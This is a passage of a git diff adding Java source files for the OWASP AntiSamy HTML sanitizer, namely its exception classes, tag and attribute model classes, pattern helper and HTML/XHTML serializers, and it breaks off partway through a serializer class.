+ return getByTagName( regExpListNode, subChild);
+ }
+
+ private static Iterable<Element> getByTagName(Element parent, String tagName) {
+ if (parent == null) {
+ return Collections.emptyList();
+ }
+ final NodeList nodes = parent.getElementsByTagName(tagName);
+ return new Iterable<Element>() {
+ public Iterator<Element> iterator() {
+ return new Iterator<Element>() {
+ int pos = 0;
+ int len = nodes.getLength();
+
+ public boolean hasNext() {
+ return pos < len;
+ }
+
+ public Element next() {
+ return (Element) nodes.item(pos++);
+ }
+
+ public void remove() {
+ throw new UnsupportedOperationException("Cant remove");
+ }
+ };
+ }
+ };
+ }
+
+ public AntiSamyPattern getCommonRegularExpressions(String name) {
+ return commonRegularExpressions.get(name);
+ }
+
+}
diff --git a/src/main/java/org/owasp/validator/html/PolicyException.java b/src/main/java/org/owasp/validator/html/PolicyException.java
new file mode 100644
index 0000000..6408762
--- /dev/null
+++ b/src/main/java/org/owasp/validator/html/PolicyException.java
@@ -0,0 +1,51 @@
+/*
+ * Copyright (c) 2007-2011, Arshan Dabirsiaghi, Jason Li
+ *
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:
+ *
+ * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.
+ * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.
+ * Neither the name of OWASP nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+ * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+ * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+ * A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
+ * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
+ * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
+ * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
+ * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF
+ * LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING
+ * NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
+ * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+
+package org.owasp.validator.html;
+
+/**
+ * This exception gets thrown when there is a problem validating or parsing
+ * the policy file. Any validation errors not caught by the XML validation
+ * will be thrown with this exception.
+ *
+ * @author Arshan Dabirsiaghi
+ *
+ */
+
+public class PolicyException extends Exception {
+
+ /**
+ *
+ */
+ private static final long serialVersionUID = 1L;
+
+ public PolicyException(Exception e) {
+ super(e);
+ }
+
+ public PolicyException(String string) {
+ super(string);
+ }
+
+}
diff --git a/src/main/java/org/owasp/validator/html/ScanException.java b/src/main/java/org/owasp/validator/html/ScanException.java
new file mode 100644
index 0000000..47afe39
--- /dev/null
+++ b/src/main/java/org/owasp/validator/html/ScanException.java
@@ -0,0 +1,52 @@
+/*
+ * Copyright (c) 2007-2011, Arshan Dabirsiaghi, Jason Li
+ *
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:
+ *
+ * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.
+ * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.
+ * Neither the name of OWASP nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+ * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+ * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+ * A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
+ * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
+ * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
+ * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
+ * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF
+ * LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING
+ * NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
+ * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+
+package org.owasp.validator.html;
+
+/**
+ *
+ * This exception gets thrown when there is an unexpected error parsing
+ * the tainted HTML. The code is sturdy, but the unlikely <code>IOException</code> or
+ * SAX exceptions are always theoretically possible.
+ *
+ * @author Arshan Dabirsiaghi
+ *
+ */
+
+public class ScanException extends Exception {
+
+ /**
+ *
+ */
+ private static final long serialVersionUID = 1L;
+
+ public ScanException(Exception e) {
+ super(e);
+ }
+
+ public ScanException(String s) {
+ super(s);
+ }
+
+}
diff --git a/src/main/java/org/owasp/validator/html/TagMatcher.java b/src/main/java/org/owasp/validator/html/TagMatcher.java
new file mode 100644
index 0000000..7eae9f4
--- /dev/null
+++ b/src/main/java/org/owasp/validator/html/TagMatcher.java
@@ -0,0 +1,59 @@
+/*
+ * Copyright (c) 2013, Kristian Rosenvold
+ *
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:
+ *
+ * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.
+ * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.
+ * Neither the name of OWASP nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+ * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+ * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+ * A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
+ * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
+ * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
+ * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
+ * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF
+ * LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING
+ * NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
+ * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+package org.owasp.validator.html;
+
+import java.util.ArrayList;
+import java.util.HashSet;
+import java.util.List;
+import java.util.Set;
+
+/**
+ * Uses smart matching to match tags
+ *
+ * @author Kristian Rosenvold
+ */
+public class TagMatcher {
+ private final Set<String> allowedLowercase = new HashSet<String>();
+
+ public TagMatcher(Iterable<String> allowedValues) {
+ for (String item : allowedValues) {
+ allowedLowercase.add(item.toLowerCase());
+ }
+ }
+
+ /**
+ * Examines if this tag matches the values in this matcher.
+ *
+ * Please note that this is case-insensitive, which is ok for html and xhtml, but not really for xml
+ * @param tagName The tag name to look for
+ * @return true if the tag name matches this mach
+ */
+ public boolean matches(String tagName) {
+ return allowedLowercase.contains(tagName.toLowerCase());
+ }
+
+ public int size() {
+ return allowedLowercase.size();
+ }
+}
diff --git a/src/main/java/org/owasp/validator/html/model/AntiSamyPattern.java b/src/main/java/org/owasp/validator/html/model/AntiSamyPattern.java
new file mode 100644
index 0000000..48677af
--- /dev/null
+++ b/src/main/java/org/owasp/validator/html/model/AntiSamyPattern.java
@@ -0,0 +1,62 @@
+/*
+ * Copyright (c) 2007-2011, Arshan Dabirsiaghi, Jason Li
+ *
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:
+ *
+ * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.
+ * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.
+ * Neither the name of OWASP nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+ * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+ * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+ * A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
+ * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
+ * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
+ * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
+ * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF
+ * LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING
+ * NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
+ * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+
+package org.owasp.validator.html.model;
+
+import java.util.regex.Matcher;
+import java.util.regex.Pattern;
+
+/**
+ * An extension of the Pattern with helper methods.
+ *
+ * @author Arshan Dabirsiaghi
+ */
+public class AntiSamyPattern {
+
+ private final Pattern pattern;
+
+ /**
+ * Constructor for AntiSamyPattern.
+ *
+ * @param pattern The Pattern to lookup based on the "name".
+ */
+ public AntiSamyPattern(Pattern pattern) {
+ this.pattern = pattern;
+ }
+
+ /**
+ * @return Return the Pattern of the <code>AntiSamyPattern</code>.
+ */
+ public Pattern getPattern() {
+ return pattern;
+ }
+
+ public Matcher matcher(CharSequence input) {
+ return pattern.matcher(input);
+ }
+
+ public boolean matches(String other) {
+ return matcher(other).matches();
+ }
+}
diff --git a/src/main/java/org/owasp/validator/html/model/Attribute.java b/src/main/java/org/owasp/validator/html/model/Attribute.java
new file mode 100644
index 0000000..03649fc
--- /dev/null
+++ b/src/main/java/org/owasp/validator/html/model/Attribute.java
@@ -0,0 +1,148 @@
+/*
+ * Copyright (c) 2007-2013, Arshan Dabirsiaghi, Jason Li, Kristian Rosenvold
+ *
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:
+ *
+ * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.
+ * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.
+ * Neither the name of OWASP nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+ * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+ * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+ * A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
+ * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
+ * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
+ * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
+ * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF
+ * LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING
+ * NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
+ * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+
+package org.owasp.validator.html.model;
+
+import java.util.*;
+import java.util.regex.Pattern;
+
+import static org.owasp.validator.html.model.Tag.ANY_NORMAL_WHITESPACES;
+import static org.owasp.validator.html.model.Tag.ATTRIBUTE_DIVIDER;
+import static org.owasp.validator.html.model.Tag.CLOSE_ATTRIBUTE;
+
+/**
+ * A model for HTML attributes and the "rules" they must follow (either literals or regular expressions) in
+ * order to be considered valid.
+ *
+ * @author Arshan Dabirsiaghi
+ * @author Kristian Rosenvold
+ *
+ */
+
+public class Attribute {
+
+ private final String name;
+ private final String description;
+ private final String onInvalid;
+ private final List<String> allowedValues;
+ private final Pattern[] allowedRegExps;
+ private final Set<String> allowedValuesLower;
+
+ public Attribute(String name, List<Pattern> allowedRegexps, List<String> allowedValues, String onInvalidStr, String description) {
+ this.name = name;
+ this.allowedRegExps = allowedRegexps.toArray(new Pattern[ allowedRegexps.size()]);
+ this.allowedValues = Collections.unmodifiableList( allowedValues);
+ Set<String> allowedValuesLower = new HashSet<String>();
+ for (String allowedValue : allowedValues) {
+ allowedValuesLower.add( allowedValue.toLowerCase());
+ }
+
+ this.allowedValuesLower = allowedValuesLower;
+ this.onInvalid = onInvalidStr;
+ this.description = description;
+ }
+
+ public boolean matchesAllowedExpression(String value){
+ String input = value.toLowerCase();
+ for (Pattern pattern : allowedRegExps) {
+ if (pattern != null && pattern.matcher(input).matches()) {
+ return true;
+ }
+ }
+ return false;
+ }
+
+ public boolean containsAllowedValue(String valueInLowerCase){
+ return allowedValuesLower.contains(valueInLowerCase);
+ }
+
+ public String getName() {
+ return name;
+ }
+
+ /**
+ *
+ * @return The <code>onInvalid</code> value a tag could have, from the list of "filterTag", "removeTag" and "removeAttribute"
+ */
+ public String getOnInvalid() {
+ return onInvalid;
+ }
+
+
+ public Attribute mutate(String onInvalid, String description) {
+ return new Attribute(name, Arrays.asList(allowedRegExps), allowedValues, onInvalid != null && onInvalid.length() != 0 ? onInvalid : this.onInvalid,
+ description != null && description.length() != 0 ? description : this.description);
+ }
+
+ public String matcherRegEx(boolean hasNext){
+ // <p (id=#([0-9.*{6})|sdf).*>
+
+ StringBuilder regExp = new StringBuilder();
+ regExp.append(this.getName()).append(ANY_NORMAL_WHITESPACES).append("=").append(ANY_NORMAL_WHITESPACES).append("\"").append(Tag.OPEN_ATTRIBUTE);
+
+ boolean hasRegExps = allowedRegExps.length > 0;
+
+ if (allowedRegExps.length + allowedValues.size() > 0) {
+
+ /*
+ * Go through and add static values to the regular expression.
+ */
+ Iterator allowedValues = this.allowedValues.iterator();
+ while (allowedValues.hasNext()) {
+ String allowedValue = (String) allowedValues.next();
+
+ regExp.append(Tag.escapeRegularExpressionCharacters(allowedValue));
+
+ if (allowedValues.hasNext() || hasRegExps) {
+ regExp.append(ATTRIBUTE_DIVIDER);
+ }
+ }
+
+ /*
+ * Add the regular expressions for this attribute value to the mother regular expression.
+ */
+ Iterator allowedRegExps = Arrays.asList((Pattern[]) this.allowedRegExps).iterator();
+ while (allowedRegExps.hasNext()) {
+ Pattern allowedRegExp = (Pattern) allowedRegExps.next();
+ regExp.append(allowedRegExp.pattern());
+
+ if (allowedRegExps.hasNext()) {
+ regExp.append(ATTRIBUTE_DIVIDER);
+ }
+ }
+
+ if (this.allowedRegExps.length + this.allowedValues.size() > 0) {
+ regExp.append(CLOSE_ATTRIBUTE);
+ }
+
+ regExp.append("\"" + ANY_NORMAL_WHITESPACES);
+
+ if (hasNext) {
+ regExp.append(ATTRIBUTE_DIVIDER);
+ }
+ }
+ return regExp.toString();
+
+ }
+}
diff --git a/src/main/java/org/owasp/validator/html/model/Property.java b/src/main/java/org/owasp/validator/html/model/Property.java
new file mode 100644
index 0000000..5959c9c
--- /dev/null
+++ b/src/main/java/org/owasp/validator/html/model/Property.java
@@ -0,0 +1,89 @@
+/*
+ * Copyright (c) 2007-2011, Arshan Dabirsiaghi, Jason Li
+ *
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions are met:
+ * - Redistributions of source code must retain the above copyright notice,
+ * this list of conditions and the following disclaimer.
+ * - Redistributions in binary form must reproduce the above copyright notice,
+ * this list of conditions and the following disclaimer in the documentation
+ * and/or other materials provided with the distribution.
+ * - Neither the name of OWASP nor the names of its contributors may be used to
+ * endorse or promote products derived from this software without specific
+ * prior written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+ * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+ * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+ * A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
+ * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
+ * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
+ * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
+ * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF
+ * LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING
+ * NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
+ * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+package org.owasp.validator.html.model;
+
+import java.util.ArrayList;
+import java.util.Collections;
+import java.util.List;
+import java.util.regex.Pattern;
+
+/**
+ * A model for CSS properties and the "rules" they must follow (either literals
+ * or regular expressions) in order to be considered valid.
+ *
+ * @author Jason Li
+ *
+ */
+public class Property {
+ private final String name;
+
+ private final List<String> allowedValues;
+
+ private final List<Pattern> allowedRegExp;
+
+ private final List<String> shorthandRefs;
+
+ public Property(String name, List<Pattern> allowedRegexp3, List<String> allowedValue, List<String> shortHandRefs, String description, String onInvalidStr) {
+ this.name = name;
+ this.allowedRegExp = Collections.unmodifiableList(allowedRegexp3);
+ this.allowedValues = Collections.unmodifiableList(allowedValue);
+ this.shorthandRefs = Collections.unmodifiableList(shortHandRefs);
+ }
+
+ /**
+ * Return a <code>List</code> of allowed regular expressions
+ * @return A <code>List</code> of allowed regular expressions.
+ */
+ public List getAllowedRegExp() {
+ return allowedRegExp;
+ }
+
+ /**
+ * @return A <code>List</code> of allowed literal values.
+ */
+ public List getAllowedValues() {
+ return allowedValues;
+ }
+
+ /**
+ * @return A <code>List</code> of allowed shorthand references.
+ */
+ public List getShorthandRefs() {
+ return shorthandRefs;
+ }
+
+ /**
+ *
+ * @return The name of the property.
+ */
+ public String getName() {
+ return name;
+ }
+
+}
diff --git a/src/main/java/org/owasp/validator/html/model/Tag.java b/src/main/java/org/owasp/validator/html/model/Tag.java
new file mode 100644
index 0000000..b404b13
--- /dev/null
+++ b/src/main/java/org/owasp/validator/html/model/Tag.java
@@ -0,0 +1,154 @@
+/*
+ * Copyright (c) 2007-2011, Arshan Dabirsiaghi, Jason Li
+ *
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:
+ *
+ * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.
+ * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.
+ * Neither the name of OWASP nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+ * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+ * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+ * A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
+ * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
+ * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
+ * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
+ * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF
+ * LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING
+ * NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
+ * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+
+package org.owasp.validator.html.model;
+
+import java.util.*;
+
+/**
+ * A model for HTML "tags" and the rules dictating their validation/filtration. Also contains information
+ * about their allowed attributes.
+ * <p/>
+ * There is also some experimental (unused) code in here for generating a valid regular expression according to a policy
+ * file on a per-tag basis.
+ *
+ * @author Arshan Dabirsiaghi
+ */
+public class Tag {
+
+ /*
+ * These are the fields pulled from the policy XML.
+ */
+ private final Map<String, Attribute> allowedAttributes;
+ private final String name;
+ private final String action;
+
+
+ public Tag(String name, Map<String, Attribute> tagAttributes, String action) {
+ this.name = name;
+ this.allowedAttributes = Collections.unmodifiableMap(tagAttributes);
+ this.action = action;
+ }
+
+ /**
+ * @return The action for this tag which is one of <code>filter</code>, <code>validate</code> or <code>remove</code>.
+ */
+ public String getAction() {
+ return action;
+ }
+
+ /** Indicates if the action for this tag matches the supplied action
+ * @param action The action to match against
+ * @return True if it matches
+ */
+ public boolean isAction(String action){
+ return action.equals( this.action);
+ }
+
+ public Tag mutateAction(String action) {
+ return new Tag(this.name, this.allowedAttributes, action);
+ }
+
+
+ /* --------------------------------------------------------------------------------------------------*/
+
+
+ /**
+ * Returns a regular expression for validating individual tags. Not used by the AntiSamy scanner, but you might find some use for this.
+ *
+ * @return A regular expression for the tag, i.e., "^<b>$", or "<hr(\s)*(width='((\w){2,3}(\%)*)'>"
+ */
+
+ public String getRegularExpression() {
+
+ /*
+ * For such tags as <b>, <i>, <u>
+ */
+ if (allowedAttributes.size() == 0) {
+ return "^<" + name + ">$";
+ }
+
+ StringBuilder regExp = new StringBuilder("<" + ANY_NORMAL_WHITESPACES + name + OPEN_TAG_ATTRIBUTES);
+
+ List<Attribute> values = new ArrayList<Attribute>(allowedAttributes.values());
+ Collections.sort(values, new Comparator<Attribute>() {
+ public int compare(Attribute o1, Attribute o2) {
+ return o1.getName().compareTo(o2.getName());
+ }
+ } );
+ Iterator<Attribute> attributes = values.iterator();
+ while (attributes.hasNext()) {
+ Attribute attr = attributes.next();
+ regExp.append( attr.matcherRegEx(attributes.hasNext()));
+ }
+
+ regExp.append(CLOSE_TAG_ATTRIBUTES + ANY_NORMAL_WHITESPACES + ">");
+
+ return regExp.toString();
+ }
+
+ static String escapeRegularExpressionCharacters(String allowedValue) {
+
+ String toReturn = allowedValue;
+
+ if (toReturn == null) {
+ return null;
+ }
+
+ for (int i = 0; i < REGEXP_CHARACTERS.length(); i++) {
+ toReturn = toReturn.replaceAll("\\" + String.valueOf(REGEXP_CHARACTERS.charAt(i)), "\\" + REGEXP_CHARACTERS.charAt(i));
+ }
+
+ return toReturn;
+ }
+
+ /**
+ * Begin Variables Needed For Generating Regular Expressions *
+ */
+ final static String ANY_NORMAL_WHITESPACES = "(\\s)*";
+ final static String OPEN_ATTRIBUTE = "(";
+ final static String ATTRIBUTE_DIVIDER = "|";
+ final static String CLOSE_ATTRIBUTE = ")";
+ private final static String OPEN_TAG_ATTRIBUTES = ANY_NORMAL_WHITESPACES + OPEN_ATTRIBUTE;
+ private final static String CLOSE_TAG_ATTRIBUTES = ")*";
+ private final static String REGEXP_CHARACTERS = "\\(){}.*?$^-+";
+
+ /**
+ * @return The String name of the tag.
+ */
+ public String getName() {
+ return name;
+ }
+
+
+ /**
+ * Returns an <code>Attribute</code> associated with a lookup name.
+ *
+ * @param name The name of the allowed attribute by name.
+ * @return The <code>Attribute</code> object associated with the name, or
+ */
+ public Attribute getAttributeByName(String name) {
+ return allowedAttributes.get(name);
+ }
+}
diff --git a/src/main/java/org/owasp/validator/html/scan/ASHTMLSerializer.java b/src/main/java/org/owasp/validator/html/scan/ASHTMLSerializer.java
new file mode 100644
index 0000000..97e1fd3
--- /dev/null
+++ b/src/main/java/org/owasp/validator/html/scan/ASHTMLSerializer.java
@@ -0,0 +1,71 @@
+package org.owasp.validator.html.scan;
+
+import org.apache.xml.serialize.ElementState;
+import org.apache.xml.serialize.HTMLdtd;
+import org.apache.xml.serialize.OutputFormat;
+import org.owasp.validator.html.InternalPolicy;
+import org.owasp.validator.html.Policy;
+
+import java.io.IOException;
+import java.io.Writer;
+
+ at SuppressWarnings("deprecation")
+public class ASHTMLSerializer extends org.apache.xml.serialize.HTMLSerializer {
+
+ private boolean encodeAllPossibleEntities;
+
+ public ASHTMLSerializer(Writer w, OutputFormat format, InternalPolicy policy) {
+ super(w, format);
+ this.encodeAllPossibleEntities = policy.isEntityEncodeIntlCharacters();
+ }
+
+ protected String getEntityRef(int charToPrint) {
+ if(encodeAllPossibleEntities || Constants.big5CharsToEncode.indexOf(charToPrint) != -1)
+ return super.getEntityRef(charToPrint);
+ return null;
+ }
+
+ public void endElementIO(String namespaceURI, String localName,
+ String rawName) throws IOException {
+
+ ElementState state;
+
+ // Works much like content() with additions for closing
+ // an element. Note the different checks for the closed
+ // element's state and the parent element's state.
+ _printer.unindent();
+ state = getElementState();
+
+ if (state.empty)
+ _printer.printText('>');
+ // This element is not empty and that last content was
+ // another element, so print a line break before that
+ // last element and this element's closing tag.
+ // [keith] Provided this is not an anchor.
+ // HTML: some elements do not print closing tag (e.g. LI)
+ if (rawName == null || !HTMLdtd.isOnlyOpening(rawName)) {
+ if (_indenting && !state.preserveSpace && state.afterElement)
+ _printer.breakLine();
+ // Must leave CData section first (Illegal in HTML, but still)
+ if (state.inCData)
+ _printer.printText("]]>");
+ _printer.printText("</");
+ _printer.printText(state.rawName);
+ _printer.printText('>');
+ }
+
+ // Leave the element state and update that of the parent
+ // (if we're not root) to not empty and after element.
+ state = leaveElementState();
+ // Temporary hack to prevent line breaks inside A/TD
+ if (rawName == null
+ || (!rawName.equalsIgnoreCase("A") && !rawName
+ .equalsIgnoreCase("TD")))
+
+ state.afterElement = true;
+ state.empty = false;
+ if (isDocumentState())
+ _printer.flush();
+ }
+
+}
diff --git a/src/main/java/org/owasp/validator/html/scan/ASXHTMLSerializer.java b/src/main/java/org/owasp/validator/html/scan/ASXHTMLSerializer.java
new file mode 100644
index 0000000..d3f49dd
--- /dev/null
+++ b/src/main/java/org/owasp/validator/html/scan/ASXHTMLSerializer.java
@@ -0,0 +1,83 @@
+package org.owasp.validator.html.scan;
+
+import org.apache.xml.serialize.ElementState;
+import org.apache.xml.serialize.OutputFormat;
+import org.owasp.validator.html.InternalPolicy;
+import org.owasp.validator.html.Policy;
+import org.owasp.validator.html.TagMatcher;
+
+import java.io.IOException;
+import java.io.Writer;
+import java.util.Locale;
+
+/**
+ * This is an extension of the default XHTMLSerializer class that's had it's endElementIO()
+ * method tweaked to serialize closing tags and self-closing tags the way we require.
+ */
+ at SuppressWarnings("deprecation")
+public class ASXHTMLSerializer extends org.apache.xml.serialize.XHTMLSerializer {
+
+ private boolean encodeAllPossibleEntities;
+ private final TagMatcher allowedEmptyTags;
+ private final TagMatcher requireClosingTags;
+
+ public ASXHTMLSerializer(Writer w, OutputFormat format, InternalPolicy policy) {
+ super(w, format);
+ this.allowedEmptyTags = policy.getAllowedEmptyTags();
+ this.requireClosingTags = policy.getRequiresClosingTags();
+ this.encodeAllPossibleEntities = policy.isEntityEncodeIntlCharacters();
+ }
+
+ protected String getEntityRef(int charToPrint) {
+ if(encodeAllPossibleEntities || Constants.big5CharsToEncode.indexOf(charToPrint) != -1)
+ return super.getEntityRef(charToPrint);
+ return null;
+ }
+
+ public void endElementIO(String namespaceURI, String localName,
+ String rawName) throws IOException {
+
+ ElementState state;
+
+ // Works much like content() with additions for closing
+ // an element. Note the different checks for the closed
+ // element's state and the parent element's state.
+ _printer.unindent();
+ state = getElementState();
+
+ if (state.empty && isAllowedEmptyTag(rawName) && !requiresClosingTag(rawName)) { //
+ _printer.printText(" />");
+ } else {
+ if(state.empty)
+ _printer.printText('>');
+ // Must leave CData section first
+ if (state.inCData)
+ _printer.printText("]]>");
+ // XHTML: element names are lower case, DOM will be different
+ _printer.printText("</");
+ _printer.printText(state.rawName.toLowerCase(Locale.ENGLISH));
+ _printer.printText('>');
+ }
+
+ // Leave the element state and update that of the parent
+ // (if we're not root) to not empty and after element.
+ state = leaveElementState();
+ // Temporary hack to prevent line breaks inside A/TD
+ if (rawName == null
+ || (!rawName.equalsIgnoreCase("A") && !rawName
+ .equalsIgnoreCase("TD")))
+
+ state.afterElement = true;
+ state.empty = false;
+ if (isDocumentState())
+ _printer.flush();
+ }
+
+ private boolean requiresClosingTag(String tagName) {
+ return requireClosingTags.matches(tagName);
+ }
+
